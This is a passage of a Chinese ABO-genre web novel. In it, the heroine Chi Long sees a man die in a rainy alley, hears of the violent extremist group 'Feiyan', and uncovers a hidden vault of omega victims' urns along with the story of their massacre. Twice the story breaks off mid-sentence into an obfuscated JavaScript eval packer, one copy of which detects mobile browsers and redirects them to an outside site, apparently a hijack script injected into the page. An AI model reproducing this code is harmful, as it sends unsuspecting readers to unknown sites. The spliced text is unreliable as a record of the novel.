想起他刚才说的迷茫,池泷认为,有的人失去童年记忆也是正常现象吧。 可她又想到,失去过去就像失去来处,对这群看不见未来的人而言,过去确实很重要。 而且乡土,对任何人来说,都是难以割舍的吧。 郝警官又哭又笑的样子让她心里不好受,可看着他又平静下来,池泷林息却莫名地更难过了。 “那也没关系,在你的努力下,乔城很安稳,老人们也很幸福。”这句话十分笨拙,却是真心的,乔城的每一处,怕是都有郝警官的足迹。 “安稳吗?”郝警官自嘲地笑笑,“我做的,才哪儿到哪儿啊。” 只要不触及看起来就是很安稳啊,池泷不解。 随即她想起城中确实有一处不太安稳的地方,她安慰道:“工业区正好可以趁此机会修整一下,以后就不会有危险了。” “不过工业区里有什么呢?”池泷自言自语,没看到正在擦泪的郝警官身形停滞了一瞬。 “不好意思,让你见笑了。”心情修复完毕的郝警官,顶着大肿眼,重新笑了起来,“耽误吃饭了吧,抱歉,小林呢?” 随即池泷看了眼光脑,已经2:00PM了,林息却并未发来什么讯息,估计是在忙。 “没事,咱们先吃,他说今天想在城里多溜达会儿,拍点照片什么的,我给他留饭。”收起光脑,池泷自然地回复。 “好吧,咱不等他了,”郝警官走向餐桌,边走还边说,“谈恋爱就得这样,相互之间多照顾些,就凭小林一个接omega吃这么多苦来这儿,一看就是个好的,咱更得包容。” 一听他说这些,池泷就乐,明明自己也没什么经验不是吗?这种恋爱经都是从哪里学来的。 郝警官对待自己总是对待家中子侄一样,池泷忍不住笑笑,自己也是成年人了,他也会跟第一天骗自己说“山里有野兽要关好门”一样,把自己当小孩儿似得一遍遍重复着说话。 跟在身后的池泷趁他不注意,将车票收了起来。 两人又回到了往常一样。 饭后,看了眼光脑已经16:00pm,池泷又去查看了一下娑利姌,她仍在休息,呼吸轻浅规律。 池泷心绪难平,等了30min后,干脆写了字条放在桌上,她准备出门放松一下,顺带想想自己要不要继续调查下去。 漫无目的地闲逛,带着乱糟糟的思绪,连天气都回应了池泷沉重的心情,阴云快速凝聚,天空开始下起毛毛雨,几秒后,细密的雨幕降临。 无语地叹了口气,池泷看了眼四周,发现竟然走到工业区这边来了,她干脆向不远处的市长府跑去,想在那里避避雨。 如果池泷在跑步过程中不在意突然传来的玻璃碎裂声,如果池泷不在意眼前一黑的情景,如果池泷假装没听见雨声盖不过的奇怪声音,如果池泷没闻到熟悉的崖柏香气,她就不会选择放慢脚步,往那条奇怪的巷子里走去,或许事情就不一样了。 然而发生过的事,有再多如果也无济于事。 眼睛适应了一会黑暗,灵敏的耳朵引着她一路前行。 这是一条从未走过的小路,路两旁都立着高墙,墙后面只能隐约看见远处高大建筑的影子,池泷放轻脚步,摸出腰间随身携带的一把小匕首放入袖口,越发清晰的声音让池泷确定是有人在痛呼,但繁杂的呼吸声昭示着这里不止有一个人。 没走几步,果然看见有两个人影一左一右蹲在两边,恰逢此时,白练划过天际,伴着轰隆的雷声,雨滴重重砸下,池泷看清了蹲着的人,他们身穿深色兜帽卫衣,一人手里似乎拿着一把短小细薄的刀具,另一人手中拿着一个白色小箱,似乎正要对他们中间那个躺在地上痛呼的人做些什么。 “喂,”池泷放沉声音,空气中的水汽瞬间比刚才浓郁了不少。 蹲着的两个人身体一抖,抬头往池泷看来,陆续的闪电让池泷透过有些厚重的雨帘也能勉强看清,他们脸上戴着黑色面具,极好地包裹住下半边脸,加上兜帽的遮挡,整张脸基本被遮得严严实实。 仅瞥一眼,池泷便立马弯腿发力,朝拿刀的人冲去,一瞬便出现在那人身后,她一手抓住此人的另一边肩膀,另一只手扯其手腕轻轻一扭,那人手中刀落地,同时伸腿准备将其直接放倒。 却突然听到背后传来一阵声音令她耳根发紧,弯腰躲过,双手放开,原本手底的人像泥鳅一样滑出溜走,池泷起身站定,却发现自己被两把枪一前一侧,同时瞄准。 “竟然还有枪!?”面色不变,池泷心中默默吐槽,说实话,虽然是机甲系,但自己近身搏斗也并非短板,这么短时间内躲过自己的擒拿还能掏枪瞄准,“身手不凡啊”池泷想。 “别动”,沉闷扭曲的声音从身侧传来,池泷自然站着没动。 “你怎么样,”池泷面前刚被她抓到的人闻言摇摇头,却突然顿住,然后痛苦地弯下腰来,“咳……嗬……”,拿枪的胳膊疯狂发抖,另一只手摁住脖颈,似乎要窒息而亡。 紧接着,那人面朝下重重倒地,一动不动。 “喂!喂!”另一个人很着急,透过面具,沉闷的声音变得紧绷,拿枪的手却依然稳定,他一边紧紧盯着池泷,一边慢慢向地上的人走去。 走到那人身边,用脚碰了碰躺在地上的人,同时吆喝道:“怎么了,还活着吗?” 然而地上的人依旧没有任何回应。 唯一声响的枪口也依旧稳稳指向池泷。 沉闷的雷声中,池泷平静的声音比几人湿透的身体还要冷,“再不离开,他就要死了。” 此时她的眸子像一块沉黑的雷击木,伴随着击碎和侵蚀,映在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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摘下口罩,林息露出了那张伪装过的脸,不断轰隆的雷声里,池泷却能清晰地听见熟悉的清冷声音,那个声音此时带了几分安抚说道:“池泷,把他给我”。 池泷眼神不变,手臂上肌肉鼓起,右脚轻微撤退,带着即将爆发的力量。 慢慢向池泷走近的林息应该也发现了,他随即停住脚步,继续轻声说:“我知道你有很多疑问,但现在不是时候”。 他看向池泷的眼睛,耀眼闪电下,明亮的琥珀色眼眸让池泷想起那场直播的演讲,“这件事与我无关,但这个人我必须处理掉。” 等了一会,池泷没说什么,眼神和身体却逐渐放松下来,林息继续靠近池泷,从她怀中接过早已失去生机的身体,朝池泷说了句:“在这儿等我”后便再次朝她身后跑去。 听着渐行渐远的脚步声,池泷颤颤巍巍地走到墙边,单手撑在墙上,突然胃部强烈收缩,早已消化的池泷只觉得喉部和嘴里一阵强烈的苦味,地上,淡黄色的液体被雨水迅速冲刷,眼角生理性地泛起一片温热。 她大口喘着粗气,背靠在墙上,身体沿着墙壁滑落,她把手搭在撑起的膝盖上,黑发被彻底打湿粘了一脸,看不清眼前。 只有震耳的雷鸣声不断传来,震得池泷脑子都乱成了一片,后颈的腺体疯了一样得突突跳动,雨水沿着耳后不断滑落,带着冰冷的黏腻。 寒意,无处不在的寒意穿透早已冰凉的肌肤,沿着血管,从身体的每一处往中间集聚,它们走过的血管壁,凝结了无数的霜花,连流经的血液也渐渐缓下了流动,任凭冰冷将其包裹,变成带有刺鼻腥味的冰沙。 “唔……”池泷分不清是自己的声音,还是脑海里那个人躺在地上呻吟的声音,因为她的身体好疼,四面八方不知从什么时候开始,竟然刮起了狂风,比冬日的寒风还要刺骨,自己细密的骨缝之间全身风穿过、发出尖锐的鸣叫,像用刀子划过黑板般刺耳。 尤其是颅骨,那阵风像钻头一样企图钻过身体最坚硬的地方,轰隆的声音比天上的落雷还大。池泷吃力地抬起头,眼前正好划过一条白练,刺眼的光芒让她忍不住流泪,眼前被白光全部占据,看不清,那抹白色,比那人失去生机的脸还要苍白。 救…… 池泷突然想不起自己要说什么了,然后呢?快说啊!再不说就要晚了! 可是我要说什么来着? 救救…… 好累,池泷想,动脑真的好累,而且脑袋里的声音大到鼓膜都开始泛疼。 救救我…… 腹部上方突然传来一股火热,进而连带着食管也开始漫延上一股难受,仿佛被人捅了一刀,仿佛有熔岩在里面慢悠悠地灼烧和流淌。 胃里是不是在流血,和那个人的血一样红吗? 眼前瞬间闪过刚才奔跑的画面,池泷疲惫地想,或许和他生前的嘴唇一样红吧。 睡吧,池泷看着地面,脑袋里一个沉静的声音这样说道,睡吧。 细小的红血丝却从眼眶处向着瞳孔快速漫延。 直到一股崖柏的气息将她满满包裹。 怀中的身体滚烫,不知道为什么,她机械性地拨开林息的头发,娴熟地用虎牙刺破腺体,毫不留情地注入信息素。 一股、一股、一大股的信息素像高处垂落的瀑布,水滴似乎能将石块都砸得粉碎。 狂躁的信息素再次来到熟悉的地方,柔软和亲热,让它的不安和恐惧瞬间有了地方存放。 她将牙齿收回,沉色眼眸深处闪过如狼似虎的阴暗,下意识张嘴就要去咬。 却被人轻轻推开,随即被捧起了脸,遮挡眼帘的头发也被人拨开,熟悉的脸出现在眼前,池泷才回过神来,林息正跪坐在她身前,雨水把两人浇了个透。 “第一次见到死人吗?”林息将池泷的额头靠在自己的额头上。 他双颊泛红,额头滚烫,手指却和雨水一样渗凉。雨水打乱了他额前的留海,留海从中间不整齐地分开,小幅度的急促呼吸让他鼻翼轻轻扇动着,嘴巴也轻微张开辅助呼吸,他似乎一路跑得很急。 四目相对,池泷能读出琥珀色眼眸中的温柔。 她点点头,额头的摩擦终于让她感受到几分温热。 “这不是你的错,”林息的手缓缓地来回抚摸着池泷的后颈,“你到达时他就只有两分钟可活了。”池泷想说什么,可能是刚才那股苦涩的液体伤到了嗓子,一时间她发不出声音。 她感受到林息将自己向他摁了摁,两人的额头靠得更紧了。“你救不救他,他也注定是死亡的。”林息缓缓说道,“任何人失去腺体都顶多存活两分钟,这种伤害是不可逆的,就算你救下他也没用。” 可能这句话起了些作用,池泷感觉呼气和缓了些。 然后林息缓缓拉开二人的距离,望着她满是雨水的脸似乎叹了口气。这次是一个拥抱,肩膀上轻轻的重量让池泷心里感觉更安定了一些,她听见耳边传来闷闷的声音:“池泷,带我回去。” 胳膊似乎有了意识,它们抱住怀里的人,池泷慢慢起身,往娑利姌家走去,可能林息也累了吧,他的脑袋靠在自己的肩膀上,轻微的重量让她感觉到正身处现实,到崖柏个性的香气逐渐变得安心和平静,而自己弹跳的腺体也随之逐渐平静。 一路上池泷想了很多,眼前闪过那张苍白的脸、雨水冲刷不掉的鲜红和模糊的后颈,紧接着又被林息张开双臂的样子覆盖;脑海中闪过林息穿着黑色兜帽卫衣戴着面罩,然后又出现那场演讲里他原本的脸。 思绪变成一团乱麻,交缠之间,她只记得自己想过,不应该轻易相信身边这个有所隐瞒的人,但她又如此庆幸此刻还有他在身边。 13.第 13 章 回到娑利姌家中,只有厨房亮着一盏小灯,保温机也开着。 池泷瞥了一眼,抱着林息往二楼走去,将他放在自己的床上,去隔壁找了一身林息的衣服给他换上,换衣服时池泷特地多看了一眼林息的后颈,有一个浅浅的牙印。 她不禁自嘲地笑了声,这次如果不是林息及时推开自己,还不知道自己下意识能做出什么。 自己也换了一身以后,池泷将两人的头发迅速吹干,才抱着林息沉沉睡去。 失去意识前,池泷混沌地想,就抱这一次,只此一次。 疾风骤雨仍在窗外兴风作浪,玻璃花了一片,看不清外面的黑暗。室内,本不应该产生任何联系的两人相拥而眠,室暖如春,并不炎热也并不冷淡。 第二天照常醒来,池泷一睁眼就看到林息在怀里静静注视着自己,眼神清亮,估计醒来有一会儿了。他抚摸着池泷的脸颊,轻声问道:“睡得好吗?”池泷点点头,本来她以为昨晚的片段会在梦中闪回,却一夜无梦。 “那就起来吧”,林息坐起,转身下床前却被池泷拽住胳膊,他回头,池泷定定地看着他平静的样子,张开嘴却只能发出像摩擦砂纸一般的声音:“哒……”,池泷愣了一下,没料到如今的情况,昨天也不记得嗓子受过伤啊? 再次张了张嘴,仍旧难以发出声音,无奈池泷只得放弃说话的意图,能用眼神示意林息等一下。 好在林息能从她充满表达欲望的眼神中看出她的想法,于是他耸耸肩,干脆面对她盘腿坐好,看起来有些无奈,揉揉眉角说道:“只是觉得吃完饭再告诉你也不迟”。 池泷轻轻攥了两下他的胳膊,才听林息继续说:“你听说过‘飞燕’组织吗?” 眉峰紧皱,池泷下意识嫌恶地皱眉,怎么可能没听说过呢?这可是现今星联的通缉要犯组织。 这个近些年刚崛起的omega极端平权组织,他们的标志是一束艳紫的飞燕草。 同样是为omega平权斗争,和林家不同的是,这个打着“omega平等、自由”正义旗号的组织,多数时候更倾向采取各种残暴手段以实现目的。 正所谓说一万不如做一点,其实池泷并不排斥改革过程中应有的雷霆手段。 可从成立到到现在,飞燕的手段已经逐渐超过某种限度,一开始只是对不支持omega平权活动的王公贵族暗中刺杀,后来在各种公开场合引起大大小小的骚乱,最近几年,竟然一度变为无差别谋杀alpha及beta市民,现在已经基本成为社会公敌。 但飞燕十分神秘,他们有组织地进行一次次的杀戮,高调地多次认领死亡,却从没被人抓住过小辫子。 王室曾出兵强势抓捕过,一是他们大多身手极好难以抓捕,二是俘虏在抓捕当场就会自绝而亡,导致至今为止公开的所有信息就只有:他们的组员ABO都有,却个个铁血无情。 曾经池泷也赞叹过飞燕,觉得他们就和林家一样,有勇气和责任,可后来的草菅人命让池泷意识到这个组织并不纯粹。 不珍惜人命的人,又怎么会为别人拼命? 可让池泷不理解的是,这样的一个组织,在星联中却仍旧或明或暗地拥有不少支持者,遍布不同阶层和地区,这或许才是它难以被抓住的根本原因。 “那就行了”,林息继续说道,“曾经陛下怀疑过飞燕和林家的关系,为此我父亲还特地登报表明过立场。毕竟这样秘密又嗜血的组织,无疑是对陛下的一种挑衅。几天前王宫的线人传来消息,说在乔城发现了他们的踪迹,于是我父亲便派我前往这里。” 听到这里,池泷忍不住瞪大眼睛,随即又疑惑这么大的事就派了林息一个人来? 似乎是看出池泷的不解,林息轻蔑一笑后说:“这不重要,本来我不想接的,只是正好我也从别的地方听说你也在这里,便来了。却误打误撞,昨天知道他们竟然藏身在废弃封闭的工业区里。”抓住池泷的胳膊,林息变得严肃起来:“一开始我并不想将你牵扯进来,却没想到你还是发现了。” 林息同情地看了池泷一眼,可她并没在意,“八”字状的眉头和黑白分明的眼神,赤裸裸地就是在问:“你怎么知道是实验室的?” “哦,线人说的,我悄悄混了进去,看到他们在用人体做些什么,更加确定线人消息的可靠性,”说到这,林息也忍不住皱眉,他下床从昨天的衣物里掏出一个硬质的徽章,上面是那束传说中的飞燕草,“我只是利用了那名线人的身份而已。” 想起昨晚看到的那个alpha男性,池泷眉头更紧了,林息叹了口气:“原本我是打算得到信息后就带你快速离开的,可你昨晚已经撞破他们的事,所幸这里的飞燕大多是实验人员,保安数量稀少,可能他们也没想过这么偏远的星球和偏僻的地角还会有人来吧。” “说来也巧,那个实验室严密得很,偏偏就昨晚逃出来一个实验品,偏偏又让你遇到了,有时候真的是奇怪的倒霉,”林息脸上写满了无语,“我把实验品送了回去,也算是保护了样本,但总归是打草惊蛇,这么大的基地,武装力量又少,估计他们会选择尽快撤离。” 说到这儿,池泷感觉面前林息的表情逐渐变得坚定,“我还能再稳他们一会儿,但最迟明早,我们必须离开。”说完,林息起身径自洗漱出门,似乎并没有预期她今日会出门。 目送林息离开没有动弹,因为不能说话,池泷也没法告诉林息,明天央星会来人接管乔城,可奇怪的是,林息似乎并不知道这个消息?他没有跟央星互通有无吗? 但现在的身体情况可能不太适合多动脑,池泷只觉得四肢有些疲软,她忽地想起来,或许是因为昨晚的呕吐,导致自己咽喉那里极为难受,到现在还说不出话。 这是二十多年来不曾有过的情况,要知道alpha的身体自愈速度极快,非致命伤口对alpha来说基本和没受伤一样,这是池泷在这里长大以来第一次体会到陌生的无力感。 挣扎起身,池泷缓缓下楼,没见到林息的身影,从保温机里取出留好的饭菜,忍着喉咙的难受勉强咽了几口,难受又转化为绵密的疼痛,让她烦躁。 望着窗外明媚的天气,她想或许出门走走还能分散下注意力,连桌上留下的字条也没看。 央星、乔城,居民、飞燕,黑兜帽、雨夜,埃德尔、索尔。 一切都那么混乱,又那么清晰地串联到了一起。 然而她突然不想思考任何问题、也不去纠结各种事情,就想一个人静静地呆会儿。 眼神麻木地掠过本来应该觉熟悉的景色,大脑却告诉她这好像是第一次见到,没有任何回忆。 干脆放纵身体带着大脑,随意游荡,池泷霎时从陌生的无力感中解放出来,重新感受到一点轻盈自由,好受多了。 不知道游荡了多久,等回神时,池泷竟然站在养老院门口。这是池泷除了工业园区外唯一没到过的地方,上次还被拒之门外。她苦笑,潜意识里她还是想来这里。 这次门轻轻一推就开了。 慢慢走进大厅,除了几盆绿植外,没有其他家具,脚步声在这里清晰地回荡。 继续向里面走去,池泷打量着四下的环境,通过左边的窗户,能毫无遮挡地一眼看到月轨公墓的石碑。 池泷好像明白她为什么要带着自己来这里了。 大厅的尽头是一座双边阶梯,尽力忽视喉部不时传来的难受,池泷逐级而上。二楼是一条走廊,一眼就能看到尽头处的大座钟,钟锤没有摆动。 走廊两边各有许多房间,透过紧闭房门上的小方窗朝里看,都是一模一样的家居摆设,连床上的床单都是一模一样的平整,几乎看不出来居住过的痕迹。 走到座钟跟前,池泷才看清虽然钟锤已经停摆,但时秒表针却还在勤劳地继续走动。 十二个数字分别与表心以一条粗黑线链接,纯圆的表盘被分为均等的12份。 多么简单的解密。 伸手将早已停摆的分针拨到数字2处,不出所料,座钟后面看上去极为普通的墙壁逐渐显示出一个长方形轮廓,紧接着向旁边退去,静静地露出一条黑暗的甬道。 侧身进入通道,两侧壁灯迅速亮起,池泷往前走了几步回身看,暗门早已静静地回复原样,哪怕自己从里面看,也找不到任何门缝的痕迹。 多么熟悉的场景。 转身往深处走去,明明通道中能清晰感受到流动顺畅的空气,可或许是因为喉咙仍然难受,池泷觉得呼吸逐渐紧绷。 随着最后一盏壁灯亮起,一扇铜质把手的红木门也出现在池泷眼前。心中颤了几颤,池泷深呼吸,手掌扶上门把却迟迟难以按下。 她想,明明自己在看到那片公墓时,便大概猜到了这一切的真相,为什么还要再多看一眼? 但下一秒手却像脱离了大脑的管控,突然旋转把手推开了房门。一片暖黄和煦的灯光撒下,池泷下意识抬目逐光,看到了顶部的七级水晶吊灯,巨大的形状似乎占了这个房间高度的三分之一,层层叠叠的晶体正熠熠生辉。 随即整个房间的景象展现在池泷眼前,四面墙上,除却那扇木门,每一处都被分割为等大小的方形,正好可以搁下一个个圆肚圆顶的葱绿莲纹瓷器。 “蜂窝墓地。”池泷脑海里闪过这个词汇。她走近一个罐子,果不其然,看到上面贴着“杭如意,omega女性,享年34岁”的标签。 这些小方格,最高的一层正对着吊灯的中层晶体,是池泷用力蹦跳也难以企及的高度,可能连平时维护也需要飞行机器人的帮忙。 数不清的罐身在暖光下泛起赫然不同的冷辉,似乎宁静祥和,又透着漠然冰冷。 只是,整整四面墙。 虽然早有心理准备,可池泷仍旧觉得难以回神。果然如她所想,这里是月轨中另一批不被纪念的牺牲者,或者说大多数omega的墓地 “好多,”站在原地打量着四周的池泷脑海里只有一句话,“原来,有这么多。” 在自己被自己带到这里时,池泷便已经意识到“守墓人”的含义了。 或者说,来之前,她就已经意识到了。 从郝警官给的那副乔城游览图上看,养老院的附近,正好是纪念公墓,因此在地理位置上,养老院的人确实是月轨的“守墓人”。 而走进养老院的大厅,从窗口看见那座公墓时,池泷却突然想起,自己在公墓中见过的那群牺牲者中,唯独没有出现过一种性别。 大多数人会下意识觉得,月轨这样庞大的工程,只有alpha和beta是理所当然。诚然,这两种性别也确实因为他们大多数天生力气大而占据前线工人的绝大多数。 但池泷自己的经历也好、于行止那本日记的记载也好,都说明这种理所当然,并不完全适用于没有性别分离政策的乔城,比如:拥有探索矿藏能力的乔郦omega。 这也正是娑利姌会拥有那样一把探测仪的原因。 而现在,匮乏的人口、暗地里的建筑,还有那把仅存在的无记录探测仪,池泷想,似乎很轻易就能得出omega参与过月轨这件事是禁忌的结论。 还能是谁的禁忌呢?那列定时来送“垃圾”的火车实际上载着的,是警告、还有轻蔑。 抚上冰冷的罐子,池泷忍不住仰起头盯着那个款式过时却依旧闪耀的吊灯,眼睛好像受到刺激,眼前变得有些模糊。 听见身后富有节奏的“咚、咚……”声传来,这一刻她心中反而多了点释然,声音在身后不远处停下,那个声音听着比上次还要中气不足:“竟然真的有神……将你送了来。” 胡言乱语虽然不解其意,但池泷更关心的是另外的事,她刚要说话,忽地想起自己早已失声,下一秒却又听见自己消失了半天的声音,听起来比想象中平静:“那场坍塌真的是事故吗?” 潜意识里,池泷还是更偏向于他们。 可能更早,早在自己来到乔城发现这里的人比想象中还要苟延残喘时,自己就已经有所偏向了。 这是人对于弱小一方的天性。 所以池泷一直在努力让理智占据上风,尽管消息来源单一,她也尽量不去被眼前的情形、心里的声音影响,资料库也好、这方墓地也好,她都愿意给央星找一个借口。 直到昨天,她看见那件黑色的兜帽衣物、想起郝警官最开始对自己“晚上关好门窗”的叮嘱,她第一次感觉到愤怒:什么样的恨意,能让这些老人引狼入室与飞燕合作呢? 进而她想:什么样的迁怒,能让央星对一城的普通百姓暗暗赶尽杀绝呢? 刀没落到自己身上永远不觉得疼,和其他人一样,明明知道央星的作为可能仅仅是面子上的人文关怀,有过怀疑、有过不忿,但更多时候还是想着:至少能保障他们的基本生存啊。 只有当亲眼看到时,才震惊原来这样的刀子落下来比想象中还要疼,这是一场蓄谋已久的无形杀戮。 但仔细想想,似乎也很轻易都能想到,这些刀板上定好的鱼肉,这些热爱这座城市的人,难道就从未和自己一样想过要央星网开一面吗?这么多年真的一点努力都未做过吗? 或许做过了,但能打败大象的蚂蚁是蚁群,这里的人早就难以成群,这才选择了与虎谋皮。 “咳、咳咳……”熟悉的声音响起“我们第一位、也是唯一一位市长,于行止,就在你身旁墙上第三行第五列的格子里,那里视野最好,能看到整个房间。他的伴侣陶至,还有艾达,相信你已经知道艾达了,也在他旁边。” 池泷没有回应,老人也不慌不忙地继续道:“行止很早就说过要卸任市长,想用自己的功劳和名誉,换取乔城的安宁。反而那时我们觉得凭这么多人的力量和牺牲,如何能随便地就让那群贵族将那些实打实的功劳抹杀呢?” 池泷转头看向老人,比上次又消瘦了许多,他冲池泷微微笑了一下:“只要一个平常的早晨、一群带枪的人。omega单独分为一堆,剩余的人是另一堆。在那个矿坑前面,眼睁睁看着那些人把一群omega被带进矿坑,这是一种无声的威胁,持枪者守住洞口,剩下的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582847|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便只能聚在门口,不敢轻举妄动。” 老人苦笑,“行止和阿至拿着月轨的资料跑来,同他们谈判,用资料和功劳,换取他们放人,”哼笑了一声,“他们志得意满地答应了。” 而池泷手边传来的冰凉触感,说明这件事并未因此有个相对圆满的结局。她想起一些事情,忍不住轻声说:“弱小者自以为是的谈判,不过是强大者眼里理所应得的退让。” “没错,拥有绝对武力的独裁者也拥有绝对的贪婪。至此,行止的担心果然成真,乔城不听话地选择行止作为市长主持月轨工作、让omega参与月轨建设的行为让他们丢了规则制定者的面子,而月轨技术单单被乔城掌握又让他们丢了谋取巨大利益的机会。” 眼睛逐渐染上漂亮的墨绿色,他声音中隐忍着的痛苦,使唇瓣在说话时不停抽动:“现在就算利益到了手,为了面子,行止他们仍被带进了窑洞,后面赶来的艾达说要和他的新婚夫人同生共死,也被带了进去。” 老人目光悠远,“那时没有人把omega当回事,‘柔弱无力’、‘不堪任用’的标签让贵族把大多数持枪者放在洞口。仅用几人看守洞内,可我们的omega不一样,他们是在月轨中独当一面的战友。长期的磨练让几个持枪人因为轻视被狠狠偷袭。” 说到这,老人嘴角甚至浮出一丝微笑,紧接着又消失不见,“可爆炸发生得太快了,连那些耀武扬威的持枪者也是贵族的牺牲品,艾济掌握着密道的钥匙,只来得及打开,只来得及让艾达拼尽全力将娑利姌推出去。” “密道?”池泷问道。 “嗯,行止他们早就开始提防各处势力,偷偷收集优质建筑材料,偷偷修建密道密室,”老人嘴角又展现一抹笑意,盯着池泷,目光却仿佛正在透过她在看别的什么,“只不过还没来得及全部建好,但至少保住了一个人。” “土石堆叠,鲜血被这片大地吸收,然后是血肉、骨骼,直到彻底消失。”老人墨绿色的眸子在灯光照耀下格外晶莹,“洞外是王室的救兵,洞内是死去的家人。生死之差,几秒而已。” 这件事本应该到此为止了,池泷想。 “本应该”,她忍不住嘲笑出声,“郝警官说,王室带来了重建的资助和一位重要的建筑师,乔城开始走出阴霾。” “你觉得呢?”老人反问。 看着墙上密密麻麻的罐子,池泷完全感知不到心绪的起伏,她心中为自己的平淡觉得吃惊,口中却说着别的:“更高的执棋者呗,不然乔城也不会是现在的样子。这样想想,这次坍塌或许王室早就知道了,恰好就在坍塌时,以此为借口辖制了贵族,又带着物资安抚了众人。” “啊……”老人深深叹气,“那个建筑师看着坐在洞口的人,有的号啕大哭,有的空洞木然,他受好友之托前来,却不知道该做什么,都说人死了灵魂会离开,可离开的灵魂好像连活着的人也带走了。” 两人静默了一会儿,还是池泷先开口打破:“艾济?” 老人点点头,反问池泷:“你知道艾济是omega吗?”看着池泷似乎有些吃惊的脸,老人又将将露出笑意:“这群人啊,个个离经叛道。连艾济也不例外,他装成alpha在建筑院里求学,因为才华横溢,连埃德尔教授都忍不住要收他当学生,因此结识了埃德尔家的养子,也是他未来的室友。” “可……米斯埃德尔应该是alpha吧?”池泷不解。 “那又怎么样呢?他为艾济的勇敢和才华感动。两人相处日久,从艾济那里听到了许多奇怪的故事,甚至虽未谋面,却也隔空认识了于行止、陶至和他哥哥那样不同的人。而他身为家族的继承人,又是养子,养父待他如同亲子,于公于私,他都不敢轻易做一些‘天马行空’的事。” 老人看向池泷,“因此当这样一个人出现,他唯一能做的,就是用尽一切帮他掩盖身份求学,逐渐两人私底下变为至交好友,甚至艾济会把乔城地上地下的图纸给他,叮嘱他不要泄漏给任何人,又委托他在危机时刻救援乔城,他这才在央星发出重建公告时,毅然接下了任务。” “王室应该早知道两人同窗室友的关系了吧,为了显示出自己的诚意,又考虑到埃德尔的软肋就在央星,真是完美的人选,”事情很容易推断,池泷轻笑了一下,“但王室没想到埃德尔的胆子如此大,竟然还掩盖、或许也修复了艾济的密道和机关。” 她心中十分理解那位建筑师的心境。想到那双阳光下闪闪发光的琥珀色眼眸,她低声地说:“勇气啊……真的闪闪发光,忍不住令人追寻。” “何止,他还帮忙建造了许多密室,将余下的月轨资料保存在书库中。”老人微勾嘴角,想必是在为那时候城内暗地里的团结一心而欣慰。 “这样便宜了你们,”目光如炬,池泷看着瘦得想麻杆一样的老人,想不通这样羸弱的身体里竟然藏着天大的胆子,“老一辈的秘密,年轻一代并不知道对吗?” 想到郝警官的痛苦模样,她为其深感不平,“但是郝警官他对这里了如指掌,有些事他察觉到了,却又没有证据,又不敢相信,只能默默地、更努力频繁地巡视,却仍旧制止不了悲剧发生。” 如果那座实验室,用的人体来自城内,那恐怕郝警官早就暴起了,所以只可能,那些用于某种实验的人,是来自外面的“被委托方”。 郝警官怀疑过委托的来源、怀疑过来者的去处,却出于对亲人般长辈的信任,连工业区都没涉足。或许这就是他那句“尤其是你”的意义。 太好了,你活了下来,你活下来就意味着,亲人的嫌疑又少了一点。 可善良的人仍旧那样痛苦。 聪慧如老人,应该明白池泷的意思,可他并没解释什么,只是转身往前走,拐杖撞击地板发出或急或缓的“咚咚”声,走到一堵墙前,他又转身向池泷伸出那只没有拐杖的手,苍老的声音在空旷的房间里好像传来回音:“那么,你要不要来?” 看着老人向自己伸出的手,池泷犹豫了。 她现在已经知道“好奇害死猫”的道理,自己的委托已经做完,剩下的事又远比预计的复杂得多。走到这里已经是潜意识作祟的最大限度,再往前,那或许是一条无回之路。 先是飞燕,又是贵族,还牵扯王室,池泷自觉已经站在悬崖边上。 她从不认为自己掌握的这些可以成为什么筹码,仅仅是一道道催命符罢了。自己有家人、有朋友,有未来几十年的大好时光,还有一年毕业就可以实现理想,何苦去冒险? 反正,又不是只有她一个对乔城的现状视若无睹。 只要不搭上这只手,就还有悬崖勒马的机会。 而自己只要忘掉相处半月拼命摆脱控制叫自己离开的娑利姌,忘掉热情操心把自己当女儿一样疼的郝警官,忘掉那群身残仍然坚持缝补的幸存者,忘掉满墙密密麻麻不能言语的骨灰罐,忘掉这个本来就会自行消失而被彻底遗忘的城市…… 当墙上的门被打开,池泷握着老人干燥粗糙的手掌,脑海里不停闪过的,是一朵纯白色的芍药花。 14.第 14 章 再次走进熟悉的密道,池泷心中十分沮丧。 刚才自己脑袋一热选择继续探寻真相,可真正踏入这里又逐渐涌上后悔,理智告诉自己面对这样的隐情竟然还想着逃避,感情上却又在唾骂自己这是在冒险,置家人朋友自己于不顾。 在理智和感情之间的来回拉扯,让她为自己的义无反顾害怕,也让她为自己的胆小自私愧疚,拉住老人的手指开始不自觉地轻颤。 似乎是感受到池泷的不安,老人轻轻拍了拍池泷的手掌,说道:“放心,我们不会逼迫你做些什么的。” “为什么是我?”池泷闷声闷气地问出第二个问题。 不是池泷迟钝,可能是因为对这里先入为主的同情和偏向,再加上自己还是第一次遇到这么隐秘复杂的委托,尽管觉得不对劲,她也没有特意去脑补些什么。 可每次自己疑惑时老人就会出现、做委托时会发现一大堆的隐情、自己刚出现在蜂窝墓地里就被找到,无疑能确定:这些老人家确实不知道用什么方式,一直实时掌握着自己的行踪。 而且似乎利用自己的同情心和好奇心,有意引导自己走到这里。 最可恶的是,解密也好,解答也罢,池泷知道,这群人从头至尾根本从没想过要隐瞒什么,他们毫不遮掩的巧合行为,其实一直都在明晃晃地告诉自己“看!这里有猫腻”。 自己才是那只好奇心过剩的猫。 老人停下脚步,转过身看着池泷,慈祥又愧疚的眼神让她想到了擎叔,她微微撇开头,只听见老人轻柔说道:“对不起孩子,真的对不起。” 池泷皱眉,心中涌起几分烦躁。她想,对不起有什么用呢,自己都已经走到这里了,引君入瓮但愿者上钩,说到底还是自己不争气。 而且说实在的,自己还没查清娑利姌的异状跟这群人是否有关,不入虎穴,还不知道能不能完全相信他们呢。 